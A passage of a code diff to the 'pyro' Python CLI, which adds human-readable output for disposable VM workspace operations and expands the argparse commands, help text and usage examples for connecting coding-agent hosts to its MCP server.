sorted(labels.items()) + ) + print(f"Labels: {rendered_labels}") + print(f"Environment: {str(payload.get('environment', 'unknown'))}") + print(f"State: {str(payload.get('state', 'unknown'))}") + print(f"Workspace: {str(payload.get('workspace_path', '/workspace'))}") + last_activity_at = payload.get("last_activity_at") + if last_activity_at is not None: + print(f"Last activity at: {last_activity_at}") + print(f"Network policy: {str(payload.get('network_policy', 'off'))}") + workspace_seed = payload.get("workspace_seed") + if isinstance(workspace_seed, dict): + mode = str(workspace_seed.get("mode", "empty")) + seed_path = workspace_seed.get("seed_path") + origin_kind = workspace_seed.get("origin_kind") + origin_ref = workspace_seed.get("origin_ref") + if isinstance(origin_kind, str) and isinstance(origin_ref, str) and origin_ref != "": + if origin_kind == "project_path": + print(f"Workspace seed: {mode} from project {origin_ref}") + elif origin_kind == "repo_url": + print(f"Workspace seed: {mode} from clean clone {origin_ref}") + else: + print(f"Workspace seed: {mode} from {origin_ref}") + elif isinstance(seed_path, str) and seed_path != "": + print(f"Workspace seed: {mode} from {seed_path}") + else: + print(f"Workspace seed: {mode}") + secrets = payload.get("secrets") + if isinstance(secrets, list) and secrets: + secret_descriptions = [] + for secret in secrets: + if not isinstance(secret, dict): + continue + secret_descriptions.append( + f"{str(secret.get('name', 'unknown'))} " + f"({str(secret.get('source_kind', 'literal'))})" + ) + if secret_descriptions: + print("Secrets: " + ", ".join(secret_descriptions)) + print(f"Execution mode: {str(payload.get('execution_mode', 'pending'))}") + print( + f"Resources: {int(payload.get('vcpu_count', 0))} vCPU / " + f"{int(payload.get('mem_mib', 0))} MiB" + ) + print(f"Command count: {int(payload.get('command_count', 0))}") + print(f"Reset count: {int(payload.get('reset_count', 0))}") + last_reset_at = payload.get("last_reset_at") + if last_reset_at is not None: + print(f"Last reset at: {last_reset_at}") + print( + "Services: " + f"{int(payload.get('running_service_count', 0))}/" + f"{int(payload.get('service_count', 0))} running" + ) + last_command = payload.get("last_command") + if isinstance(last_command, dict): + print( + "Last command: " + f"{str(last_command.get('command', 'unknown'))} " + f"(exit_code={int(last_command.get('exit_code', -1))})" + ) + + +def _print_workspace_list_human(payload: dict[str, Any]) -> None: + workspaces = payload.get("workspaces") + if not isinstance(workspaces, list) or not workspaces: + print("No workspaces.") + return + for workspace in workspaces: + if not isinstance(workspace, dict): + continue + rendered_labels = "" + labels = workspace.get("labels") + if isinstance(labels, dict) and labels: + rendered_labels = " labels=" + ",".join( + f"{str(key)}={str(value)}" for key, value in sorted(labels.items()) + ) + rendered_name = "" + name = workspace.get("name") + if isinstance(name, str) and name != "": + rendered_name = f" name={name!r}" + print( + "[workspace] " + f"workspace_id={str(workspace.get('workspace_id', 'unknown'))}" + f"{rendered_name} " + f"state={str(workspace.get('state', 'unknown'))} " + f"environment={str(workspace.get('environment', 'unknown'))}" + f"{rendered_labels} " + f"last_activity_at={workspace.get('last_activity_at')} " + f"expires_at={workspace.get('expires_at')} " + f"commands={int(workspace.get('command_count', 0))} " + f"services={int(workspace.get('running_service_count', 0))}/" + f"{int(workspace.get('service_count', 0))}" + ) + + +def _print_workspace_exec_human(payload: dict[str, Any]) -> None: + stdout = str(payload.get("stdout", "")) + stderr = str(payload.get("stderr", "")) + _write_stream(stdout, stream=sys.stdout) + _write_stream(stderr, stream=sys.stderr) + print( + "[workspace-exec] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"sequence={int(payload.get('sequence', 0))} " + f"cwd={str(payload.get('cwd', WORKSPACE_GUEST_PATH))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))} " + f"exit_code={int(payload.get('exit_code', 1))} " + f"duration_ms={int(payload.get('duration_ms', 0))}", + file=sys.stderr, + flush=True, + ) + + +def _print_workspace_sync_human(payload: dict[str, Any]) -> None: + workspace_sync = payload.get("workspace_sync") + if not isinstance(workspace_sync, dict): + print(f"Synced workspace: {str(payload.get('workspace_id', 'unknown'))}") + return + print( + "[workspace-sync] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"mode={str(workspace_sync.get('mode', 'unknown'))} " + f"source={str(workspace_sync.get('source_path', 'unknown'))} " + f"destination={str(workspace_sync.get('destination', WORKSPACE_GUEST_PATH))} " + f"entry_count={int(workspace_sync.get('entry_count', 0))} " + f"bytes_written={int(workspace_sync.get('bytes_written', 0))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" + ) + + +def _print_workspace_export_human(payload: dict[str, Any]) -> None: + print( + "[workspace-export] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"workspace_path={str(payload.get('workspace_path', WORKSPACE_GUEST_PATH))} " + f"output_path={str(payload.get('output_path', 'unknown'))} " + f"artifact_type={str(payload.get('artifact_type', 'unknown'))} " + f"entry_count={int(payload.get('entry_count', 0))} " + f"bytes_written={int(payload.get('bytes_written', 0))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" + ) + + +def _print_workspace_disk_export_human(payload: dict[str, Any]) -> None: + print( + "[workspace-disk-export] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"output_path={str(payload.get('output_path', 'unknown'))} " + f"disk_format={str(payload.get('disk_format', 'unknown'))} " + f"bytes_written={int(payload.get('bytes_written', 0))}" + ) + + +def _print_workspace_disk_list_human(payload: dict[str, Any]) -> None: + print( + f"Workspace disk path: {str(payload.get('path', WORKSPACE_GUEST_PATH))} " + f"(recursive={'yes' if bool(payload.get('recursive')) else 'no'})" + ) + entries = payload.get("entries") + if not isinstance(entries, list) or not entries: + print("No workspace disk entries found.") + return + for entry in entries: + if not isinstance(entry, dict): + continue + line = ( + f"{str(entry.get('path', 'unknown'))} " + f"[{str(entry.get('artifact_type', 'unknown'))}] " + f"size={int(entry.get('size_bytes', 0))}" + ) + link_target = entry.get("link_target") + if isinstance(link_target, str) and link_target != "": + line += f" -> {link_target}" + print(line) + + +def _print_workspace_disk_read_human( + payload: dict[str, Any], *, content_only: bool = False +) -> None: + _print_read_content(str(payload.get("content", "")), content_only=content_only) + if content_only: + return + print( + "[workspace-disk-read] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"path={str(payload.get('path', 'unknown'))} " + f"size_bytes={int(payload.get('size_bytes', 0))} " + f"truncated={'yes' if bool(payload.get('truncated', False)) else 'no'}", + file=sys.stderr, + flush=True, + ) + + +def _print_workspace_diff_human(payload: dict[str, Any]) -> None: + if not bool(payload.get("changed")): + print("No workspace changes.") + return + summary = payload.get("summary") + if isinstance(summary, dict): + print( + "[workspace-diff] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"total={int(summary.get('total', 0))} " + f"added={int(summary.get('added', 0))} " + f"modified={int(summary.get('modified', 0))} " + f"deleted={int(summary.get('deleted', 0))} " + f"type_changed={int(summary.get('type_changed', 0))} " + f"text_patched={int(summary.get('text_patched', 0))} " + f"non_text={int(summary.get('non_text', 0))}" + ) + patch = str(payload.get("patch", "")) + if patch != "": + print(patch, end="" if patch.endswith("\n") else "\n") + + +def _print_workspace_file_list_human(payload: dict[str, Any]) -> None: + print( + f"Workspace path: {str(payload.get('path', WORKSPACE_GUEST_PATH))} " + f"(recursive={'yes' if bool(payload.get('recursive')) else 'no'})" + ) + entries = payload.get("entries") + if not isinstance(entries, list) or not entries: + print("No workspace entries found.") + return + for entry in entries: + if not isinstance(entry, dict): + continue + line = ( + f"{str(entry.get('path', 'unknown'))} " + f"[{str(entry.get('artifact_type', 'unknown'))}] " + f"size={int(entry.get('size_bytes', 0))}" + ) + link_target = entry.get("link_target") + if isinstance(link_target, str) and link_target != "": + line += f" -> {link_target}" + print(line) + + +def _print_workspace_file_read_human( + payload: dict[str, Any], *, content_only: bool = False +) -> None: + _print_read_content(str(payload.get("content", "")), content_only=content_only) + if content_only: + return + print( + "[workspace-file-read] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"path={str(payload.get('path', 'unknown'))} " + f"size_bytes={int(payload.get('size_bytes', 0))} " + f"truncated={'yes' if bool(payload.get('truncated', False)) else 'no'}", + file=sys.stderr, + flush=True, + ) + + +def _print_workspace_file_write_human(payload: dict[str, Any]) -> None: + print( + "[workspace-file-write] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"path={str(payload.get('path', 'unknown'))} " + f"bytes_written={int(payload.get('bytes_written', 0))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" + ) + + +def _print_workspace_patch_human(payload: dict[str, Any]) -> None: + summary = payload.get("summary") + if isinstance(summary, dict): + print( + "[workspace-patch] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"total={int(summary.get('total', 0))} " + f"added={int(summary.get('added', 0))} " + f"modified={int(summary.get('modified', 0))} " + f"deleted={int(summary.get('deleted', 0))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" + ) + return + print( + "[workspace-patch] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" + ) + + +def _print_workspace_logs_human(payload: dict[str, Any]) -> None: + entries = payload.get("entries") + if not isinstance(entries, list) or not entries: + print("No workspace logs found.") + return + for entry in entries: + if not isinstance(entry, dict): + continue + print( + f"#{int(entry.get('sequence', 0))} " + f"exit_code={int(entry.get('exit_code', -1))} " + f"duration_ms={int(entry.get('duration_ms', 0))} " + f"cwd={str(entry.get('cwd', WORKSPACE_GUEST_PATH))}" + ) + print(f"$ {str(entry.get('command', ''))}") + stdout = str(entry.get("stdout", "")) + stderr = str(entry.get("stderr", "")) + if stdout != "": + print(stdout, end="" if stdout.endswith("\n") else "\n") + if stderr != "": + print(stderr, end="" if stderr.endswith("\n") else "\n", file=sys.stderr) + + +def _print_workspace_review_summary_human(payload: dict[str, Any]) -> None: + print(f"Workspace review: {str(payload.get('workspace_id', 'unknown'))}") + name = payload.get("name") + if isinstance(name, str) and name != "": + print(f"Name: {name}") + labels = payload.get("labels") + if isinstance(labels, dict) and labels: + rendered_labels = ", ".join( + f"{str(key)}={str(value)}" for key, value in sorted(labels.items()) + ) + print(f"Labels: {rendered_labels}") + print(f"Environment: {str(payload.get('environment', 'unknown'))}") + print(f"State: {str(payload.get('state', 'unknown'))}") + print(f"Last activity at: {payload.get('last_activity_at')}") + print(f"Session started at: {payload.get('session_started_at')}") + + outcome = payload.get("outcome") + if isinstance(outcome, dict): + print( + "Outcome: " + f"commands={int(outcome.get('command_count', 0))} " + f"services={int(outcome.get('running_service_count', 0))}/" + f"{int(outcome.get('service_count', 0))} " + f"exports={int(outcome.get('export_count', 0))} " + f"snapshots={int(outcome.get('snapshot_count', 0))} " + f"resets={int(outcome.get('reset_count', 0))}" + ) + last_command = outcome.get("last_command") + if isinstance(last_command, dict): + print( + "Last command: " + f"{str(last_command.get('command', 'unknown'))} " + f"(exit_code={int(last_command.get('exit_code', -1))})" + ) + + def _print_events(title: str, events: object, *, formatter: Any) -> None: + if not isinstance(events, list) or not events: + return + print(f"{title}:") + for event in events: + if not isinstance(event, dict): + continue + print(f"- {formatter(event)}") + + commands = payload.get("commands") + if isinstance(commands, dict): + _print_events( + "Recent commands", + commands.get("recent"), + formatter=lambda event: ( + f"#{int(event.get('sequence', 0))} " + f"exit={int(event.get('exit_code', -1))} " + f"cwd={str(event.get('cwd', WORKSPACE_GUEST_PATH))} " + f"cmd={str(event.get('command', ''))}" + ), + ) + + edits = payload.get("edits") + if isinstance(edits, dict): + _print_events( + "Recent edits", + edits.get("recent"), + formatter=lambda event: ( + f"{str(event.get('event_kind', 'edit'))} " + f"at={event.get('recorded_at')} " + f"path={event.get('path') or event.get('destination') or 'n/a'}" + ), + ) + + changes = payload.get("changes") + if isinstance(changes, dict): + if not bool(changes.get("available")): + print(f"Changes: unavailable ({str(changes.get('reason', 'unknown reason'))})") + elif not bool(changes.get("changed")): + print("Changes: no current workspace changes.") + else: + summary = changes.get("summary") + if isinstance(summary, dict): + print( + "Changes: " + f"total={int(summary.get('total', 0))} " + f"added={int(summary.get('added', 0))} " + f"modified={int(summary.get('modified', 0))} " + f"deleted={int(summary.get('deleted', 0))} " + f"type_changed={int(summary.get('type_changed', 0))} " + f"non_text={int(summary.get('non_text', 0))}" + ) + _print_events( + "Top changed paths", + changes.get("entries"), + formatter=lambda event: ( + f"{str(event.get('status', 'changed'))} " + f"{str(event.get('path', 'unknown'))} " + f"[{str(event.get('artifact_type', 'unknown'))}]" + ), + ) + + services = payload.get("services") + if isinstance(services, dict): + _print_events( + "Current services", + services.get("current"), + formatter=lambda event: ( + f"{str(event.get('service_name', 'unknown'))} " + f"state={str(event.get('state', 'unknown'))}" + ), + ) + _print_events( + "Recent service events", + services.get("recent"), + formatter=lambda event: ( + f"{str(event.get('event_kind', 'service'))} " + f"{str(event.get('service_name', 'unknown'))} " + f"state={str(event.get('state', 'unknown'))}" + ), + ) + + artifacts = payload.get("artifacts") + if isinstance(artifacts, dict): + _print_events( + "Recent exports", + artifacts.get("exports"), + formatter=lambda event: ( + f"{str(event.get('workspace_path', 'unknown'))} -> " + f"{str(event.get('output_path', 'unknown'))}" + ), + ) + + snapshots = payload.get("snapshots") + if isinstance(snapshots, dict): + print(f"Named snapshots: {int(snapshots.get('named_count', 0))}") + _print_events( + "Recent snapshot events", + snapshots.get("recent"), + formatter=lambda event: ( + f"{str(event.get('event_kind', 'snapshot'))} " + f"{str(event.get('snapshot_name', 'unknown'))}" + ), + ) + + +def _print_workspace_snapshot_human(payload: dict[str, Any], *, prefix: str) -> None: + snapshot = payload.get("snapshot") + if not isinstance(snapshot, dict): + print(f"[{prefix}] workspace_id={str(payload.get('workspace_id', 'unknown'))}") + return + print( + f"[{prefix}] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"snapshot_name={str(snapshot.get('snapshot_name', 'unknown'))} " + f"kind={str(snapshot.get('kind', 'unknown'))} " + f"entry_count={int(snapshot.get('entry_count', 0))} " + f"bytes_written={int(snapshot.get('bytes_written', 0))}" + ) + + +def _print_workspace_snapshot_list_human(payload: dict[str, Any]) -> None: + snapshots = payload.get("snapshots") + if not isinstance(snapshots, list) or not snapshots: + print("No workspace snapshots found.") + return + for snapshot in snapshots: + if not isinstance(snapshot, dict): + continue + print( + f"{str(snapshot.get('snapshot_name', 'unknown'))} " + f"[{str(snapshot.get('kind', 'unknown'))}] " + f"entry_count={int(snapshot.get('entry_count', 0))} " + f"bytes_written={int(snapshot.get('bytes_written', 0))} " + f"deletable={'yes' if bool(snapshot.get('deletable', False)) else 'no'}" + ) + + +def _print_workspace_reset_human(payload: dict[str, Any]) -> None: + _print_workspace_summary_human(payload, action="Reset workspace") + workspace_reset = payload.get("workspace_reset") + if isinstance(workspace_reset, dict): + print( + "Reset source: " + f"{str(workspace_reset.get('snapshot_name', 'unknown'))} " + f"({str(workspace_reset.get('kind', 'unknown'))})" + ) + print( + "Reset restore: " + f"destination={str(workspace_reset.get('destination', WORKSPACE_GUEST_PATH))} " + f"entry_count={int(workspace_reset.get('entry_count', 0))} " + f"bytes_written={int(workspace_reset.get('bytes_written', 0))}" + ) + + +def _print_workspace_shell_summary_human(payload: dict[str, Any], *, prefix: str) -> None: + print( + f"[{prefix}] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"shell_id={str(payload.get('shell_id', 'unknown'))} " + f"state={str(payload.get('state', 'unknown'))} " + f"cwd={str(payload.get('cwd', WORKSPACE_GUEST_PATH))} " + f"cols={int(payload.get('cols', 0))} " + f"rows={int(payload.get('rows', 0))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))}", + file=sys.stderr, + flush=True, + ) + + +def _print_workspace_shell_read_human(payload: dict[str, Any]) -> None: + _write_stream(str(payload.get("output", "")), stream=sys.stdout) + print( + "[workspace-shell-read] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"shell_id={str(payload.get('shell_id', 'unknown'))} " + f"state={str(payload.get('state', 'unknown'))} " + f"cursor={int(payload.get('cursor', 0))} " + f"next_cursor={int(payload.get('next_cursor', 0))} " + f"truncated={bool(payload.get('truncated', False))} " + f"plain={bool(payload.get('plain', False))} " + f"wait_for_idle_ms={payload.get('wait_for_idle_ms')} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))}", + file=sys.stderr, + flush=True, + ) + + +def _print_workspace_service_summary_human(payload: dict[str, Any], *, prefix: str) -> None: + published_ports = payload.get("published_ports") + published_text = "" + if isinstance(published_ports, list) and published_ports: + parts = [] + for item in published_ports: + if not isinstance(item, dict): + continue + parts.append( + f"{str(item.get('host', '127.0.0.1'))}:{int(item.get('host_port', 0))}" + f"->{int(item.get('guest_port', 0))}/{str(item.get('protocol', 'tcp'))}" + ) + if parts: + published_text = " published_ports=" + ",".join(parts) + print( + f"[{prefix}] " + f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " + f"service_name={str(payload.get('service_name', 'unknown'))} " + f"state={str(payload.get('state', 'unknown'))} " + f"cwd={str(payload.get('cwd', WORKSPACE_GUEST_PATH))} " + f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" + f"{published_text}", + file=sys.stderr, + flush=True, + ) + + +def _print_workspace_service_list_human(payload: dict[str, Any]) -> None: + services = payload.get("services") + if not isinstance(services, list) or not services: + print("No workspace services found.") + return + for service in services: + if not isinstance(service, dict): + continue + print( + f"{str(service.get('service_name', 'unknown'))} " + f"[{str(service.get('state', 'unknown'))}] " + f"cwd={str(service.get('cwd', WORKSPACE_GUEST_PATH))}" + + ( + " published=" + + ",".join( + f"{str(item.get('host', '127.0.0.1'))}:{int(item.get('host_port', 0))}" + f"->{int(item.get('guest_port', 0))}/{str(item.get('protocol', 'tcp'))}" + for item in service.get("published_ports", []) + if isinstance(item, dict) + ) + if isinstance(service.get("published_ports"), list) + and service.get("published_ports") + else "" + ) + ) + + +def _print_workspace_service_logs_human(payload: dict[str, Any]) -> None: + stdout = str(payload.get("stdout", "")) + stderr = str(payload.get("stderr", "")) + _write_stream(stdout, stream=sys.stdout) + _write_stream(stderr, stream=sys.stderr) + _print_workspace_service_summary_human(payload, prefix="workspace-service-logs") + + +class _HelpFormatter( + argparse.RawDescriptionHelpFormatter, + argparse.ArgumentDefaultsHelpFormatter, +): + """Help formatter with examples and default values.""" + + def _get_help_string(self, action: argparse.Action) -> str: + if action.default is None and action.help is not None: + return action.help + help_string = super()._get_help_string(action) + if help_string is None: + return "" + return help_string + + +def _add_host_server_source_args(parser: argparse.ArgumentParser) -> None: + parser.add_argument( + "--installed-package", + action="store_true", + help="Use `pyro mcp serve` instead of the default `uvx --from pyro-mcp pyro mcp serve`.", + ) + profile_group = parser.add_mutually_exclusive_group() + profile_group.add_argument( + "--profile", + choices=PUBLIC_MCP_PROFILES, + default="workspace-core", + help="Explicit profile for the host helper flow when not using a named mode.", + ) + profile_group.add_argument( + "--mode", + choices=PUBLIC_MCP_MODES, + help="Opinionated use-case mode for the host helper flow.", + ) + source_group = parser.add_mutually_exclusive_group() + source_group.add_argument( + "--project-path", + help="Pin the server to this local project path instead of relying on host cwd.", + ) + source_group.add_argument( + "--repo-url", + help="Seed default workspaces from a clean clone of this repository URL.", + ) + source_group.add_argument( + "--no-project-source", + action="store_true", + help="Disable automatic Git checkout detection from the current working directory.", + ) + parser.add_argument( + "--repo-ref", + help="Optional branch, tag, or commit to checkout after cloning --repo-url.", + ) + + def _build_parser() -> argparse.ArgumentParser: parser = argparse.ArgumentParser( - description="pyro CLI for curated ephemeral Linux environments." + description=( + "Validate the host and serve disposable MCP workspaces for chat-based " + "coding agents on supported Linux x86_64 KVM hosts." + ), + epilog=dedent( + """ + Suggested zero-to-hero path: + pyro doctor + pyro prepare debian:12 + pyro run debian:12 -- git --version + pyro host connect claude-code + + Connect a chat host after that: + pyro host connect claude-code + pyro host connect codex + pyro host print-config opencode + + Daily local loop after the first warmup: + pyro doctor --environment debian:12 + pyro prepare debian:12 + pyro workspace reset WORKSPACE_ID + + If you want terminal-level visibility into the workspace model: + pyro workspace create debian:12 --seed-path ./repo --id-only + pyro workspace sync push WORKSPACE_ID ./changes + pyro workspace exec WORKSPACE_ID -- cat note.txt + pyro workspace summary WORKSPACE_ID + pyro workspace diff WORKSPACE_ID + pyro workspace snapshot create WORKSPACE_ID checkpoint + pyro workspace reset WORKSPACE_ID --snapshot checkpoint + pyro workspace shell open WORKSPACE_ID --id-only + pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ + sh -lc 'touch .ready && while true; do sleep 60; done' + pyro workspace export WORKSPACE_ID note.txt --output ./note.txt + """ + ), + formatter_class=_HelpFormatter, ) parser.add_argument("--version", action="version", version=f"%(prog)s {__version__}") - subparsers = parser.add_subparsers(dest="command", required=True) + subparsers = parser.add_subparsers(dest="command", required=True, metavar="COMMAND") - env_parser = subparsers.add_parser("env", help="Inspect and manage curated environments.") - env_subparsers = env_parser.add_subparsers(dest="env_command", required=True) - env_subparsers.add_parser("list", help="List official environments.") + prepare_parser = subparsers.add_parser( + "prepare", + help="Warm the local machine for the daily workspace loop.", + description=( + "Warm the recommended guest-backed daily loop by ensuring the " + "environment is installed and proving create, exec, reset, and " + "delete on one throwaway workspace." + ), + epilog=dedent( + f""" + Examples: + pyro prepare + pyro prepare {DEFAULT_PREPARE_ENVIRONMENT} + pyro prepare {DEFAULT_PREPARE_ENVIRONMENT} --network + pyro prepare {DEFAULT_PREPARE_ENVIRONMENT} --force + """ + ), + formatter_class=_HelpFormatter, + ) + prepare_parser.add_argument( + "environment", + nargs="?", + default=DEFAULT_PREPARE_ENVIRONMENT, + metavar="ENVIRONMENT", + help=( + "Curated environment to warm for the daily loop. Defaults to " + f"`{DEFAULT_PREPARE_ENVIRONMENT}`." + ), + ) + prepare_parser.add_argument( + "--network", + action="store_true", + help="Also warm guest networking by proving one egress-enabled workspace cycle.", + ) + prepare_parser.add_argument( + "--force", + action="store_true", + help="Rerun warmup even when a compatible warm manifest already exists.", + ) + prepare_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + + env_parser = subparsers.add_parser( + "env", + help="Inspect and manage curated environments.", + description="Inspect, install, and prune curated Linux environments.", + epilog=dedent( + """ + Examples: + pyro env list + pyro env pull debian:12 + pyro env inspect debian:12 + """ + ), + formatter_class=_HelpFormatter, + ) + env_subparsers = env_parser.add_subparsers(dest="env_command", required=True, metavar="ENV") + list_parser = env_subparsers.add_parser( + "list", + help="List official environments.", + description="List the shipped environment catalog and show local install status.", + epilog="Example:\n pyro env list", + formatter_class=_HelpFormatter, + ) + list_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) pull_parser = env_subparsers.add_parser( "pull", help="Install an environment into the local cache.", + description=( + "Download and install one official environment into the local cache from " + "the configured OCI registry." + ), + epilog=dedent( + """ + Example: + pyro env pull debian:12 + + The first pull downloads from public Docker Hub, requires outbound HTTPS, + and needs local cache space for the guest image. + """ + ), + formatter_class=_HelpFormatter, + ) + pull_parser.add_argument( + "environment", + metavar="ENVIRONMENT", + help="Environment name from `pyro env list`, for example `debian:12`.", + ) + pull_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + inspect_parser = env_subparsers.add_parser( + "inspect", + help="Inspect one environment.", + description="Show catalog and local cache details for one environment.", + epilog="Example:\n pyro env inspect debian:12", + formatter_class=_HelpFormatter, + ) + inspect_parser.add_argument( + "environment", + metavar="ENVIRONMENT", + help="Environment name from `pyro env list`, for example `debian:12`.", + ) + inspect_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + prune_parser = env_subparsers.add_parser( + "prune", + help="Delete stale cached environments.", + description="Remove cached environment installs that are no longer referenced.", + epilog="Example:\n pyro env prune", + formatter_class=_HelpFormatter, + ) + prune_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", ) - pull_parser.add_argument("environment") - inspect_parser = env_subparsers.add_parser("inspect", help="Inspect one environment.") - inspect_parser.add_argument("environment") - env_subparsers.add_parser("prune", help="Delete stale cached environments.") - mcp_parser = subparsers.add_parser("mcp", help="Run the MCP server.") - mcp_subparsers = mcp_parser.add_subparsers(dest="mcp_command", required=True) - mcp_subparsers.add_parser("serve", help="Run the MCP server over stdio.") + host_parser = subparsers.add_parser( + "host", + help="Bootstrap and repair supported chat-host configs.", + description=( + "Connect or repair the supported Claude Code, Codex, and OpenCode " + "host setups without hand-writing MCP commands or config." + ), + epilog=dedent( + """ + Examples: + pyro host connect claude-code + pyro host connect claude-code --mode cold-start + pyro host connect codex --project-path /abs/path/to/repo + pyro host print-config opencode + pyro host repair opencode + pyro host doctor + """ + ), + formatter_class=_HelpFormatter, + ) + host_subparsers = host_parser.add_subparsers(dest="host_command", required=True, metavar="HOST") + host_connect_parser = host_subparsers.add_parser( + "connect", + help="Connect Claude Code or Codex in one step.", + description=( + "Ensure the supported host has a `pyro` MCP server entry that wraps " + "the canonical `pyro mcp serve` command." + ), + epilog=dedent( + """ + Examples: + pyro host connect claude-code + pyro host connect claude-code --mode cold-start + pyro host connect codex --installed-package + pyro host connect codex --mode repro-fix + pyro host connect codex --project-path /abs/path/to/repo + """ + ), + formatter_class=_HelpFormatter, + ) + host_connect_parser.add_argument( + "host", + choices=("claude-code", "codex"), + help="Chat host to connect and update in place.", + ) + _add_host_server_source_args(host_connect_parser) - run_parser = subparsers.add_parser("run", help="Run one command inside an ephemeral VM.") - run_parser.add_argument("environment") - run_parser.add_argument("--vcpu-count", type=int, required=True) - run_parser.add_argument("--mem-mib", type=int, required=True) - run_parser.add_argument("--timeout-seconds", type=int, default=30) - run_parser.add_argument("--ttl-seconds", type=int, default=600) - run_parser.add_argument("--network", action="store_true") - run_parser.add_argument("command_args", nargs="*") + host_print_config_parser = host_subparsers.add_parser( + "print-config", + help="Print or write the canonical OpenCode config snippet.", + description=( + "Render the canonical OpenCode `mcp.pyro` config entry so it can be " + "copied into or written to `opencode.json`." + ), + epilog=dedent( + """ + Examples: + pyro host print-config opencode + pyro host print-config opencode --mode repro-fix + pyro host print-config opencode --output ./opencode.json + pyro host print-config opencode --project-path /abs/path/to/repo + """ + ), + formatter_class=_HelpFormatter, + ) + host_print_config_parser.add_argument( + "host", + choices=("opencode",), + help="Host config shape to render.", + ) + _add_host_server_source_args(host_print_config_parser) + host_print_config_parser.add_argument( + "--output", + help="Write the rendered JSON to this path instead of printing it to stdout.", + ) - doctor_parser = subparsers.add_parser("doctor", help="Inspect runtime and host diagnostics.") - doctor_parser.add_argument("--platform", default=DEFAULT_PLATFORM) + host_doctor_parser = host_subparsers.add_parser( + "doctor", + help="Inspect supported host setup status.", + description=( + "Report whether Claude Code, Codex, and OpenCode are installed, " + "configured, missing, or drifted relative to the canonical `pyro` MCP setup." + ), + epilog=dedent( + """ + Examples: + pyro host doctor + pyro host doctor --mode inspect + pyro host doctor --project-path /abs/path/to/repo + pyro host doctor --installed-package + """ + ), + formatter_class=_HelpFormatter, + ) + _add_host_server_source_args(host_doctor_parser) + host_doctor_parser.add_argument( + "--config-path", + help="Override the OpenCode config path when inspecting or repairing that host.", + ) - demo_parser = subparsers.add_parser("demo", help="Run built-in demos.") - demo_subparsers = demo_parser.add_subparsers(dest="demo_command") - demo_parser.add_argument("--network", action="store_true") - ollama_parser = demo_subparsers.add_parser("ollama", help="Run the Ollama MCP demo.") - ollama_parser.add_argument("--base-url", default=DEFAULT_OLLAMA_BASE_URL) - ollama_parser.add_argument("--model", default=DEFAULT_OLLAMA_MODEL) - ollama_parser.add_argument("-v", "--verbose", action="store_true") + host_repair_parser = host_subparsers.add_parser( + "repair", + help="Repair one supported host to the canonical `pyro` setup.", + description=( + "Repair a stale or broken host config by reapplying the canonical " + "`pyro mcp serve` setup for that host." + ), + epilog=dedent( + """ + Examples: + pyro host repair claude-code + pyro host repair claude-code --mode review-eval + pyro host repair codex --project-path /abs/path/to/repo + pyro host repair opencode + """ + ), + formatter_class=_HelpFormatter, + ) + host_repair_parser.add_argument( + "host", + choices=("claude-code", "codex", "opencode"), + help="Host config to repair.", + ) + _add_host_server_source_args(host_repair_parser) + host_repair_parser.add_argument( + "--config-path", + help="Override the OpenCode config path when repairing that host.", + ) + + mcp_parser = subparsers.add_parser( + "mcp", + help="Run the MCP server.", + description=( + "Run the MCP server after you have already validated the host and " + "guest execution with `pyro doctor` and `pyro run`. This is the " + "main product path for Claude Code, Codex, and OpenCode." + ), + epilog=dedent( + """ + Examples: + pyro mcp serve + pyro mcp serve --mode repro-fix + pyro mcp serve --mode inspect + pyro mcp serve --project-path . + pyro mcp serve --repo-url https://github.com/example/project.git + pyro mcp serve --profile vm-run + pyro mcp serve --profile workspace-full + """ + ), + formatter_class=_HelpFormatter, + ) + mcp_subparsers = mcp_parser.add_subparsers(dest="mcp_command", required=True, metavar="MCP") + mcp_serve_parser = mcp_subparsers.add_parser( + "serve", + help="Run the MCP server over stdio.", + description=( + "Expose pyro tools over stdio for an MCP client. Bare `pyro mcp " + "serve` starts the generic `workspace-core` path. Use `--mode` to " + "start from an opinionated use-case flow, or `--profile` to choose " + "a generic profile directly. When launched from inside a Git " + "checkout, it also seeds the first workspace from that repo by default." + ), + epilog=dedent( + """ + Generic default path: + pyro mcp serve + pyro mcp serve --project-path . + pyro mcp serve --repo-url https://github.com/example/project.git + + Named modes: + repro-fix: structured edit / diff / export / reset loop + inspect: smallest persistent inspection surface + cold-start: validation plus service readiness + review-eval: shell plus snapshots for review workflows + + Profiles: + workspace-core: default for normal persistent chat editing and the + recommended first profile for most chat hosts + vm-run: smallest one-shot-only surface + workspace-full: larger opt-in surface for shells, services, + snapshots, secrets, network policy, and disk tools + + Project-aware startup: + - bare `pyro mcp serve` auto-detects the nearest Git checkout + from the current working directory + - use --project-path when the host does not preserve cwd + - use 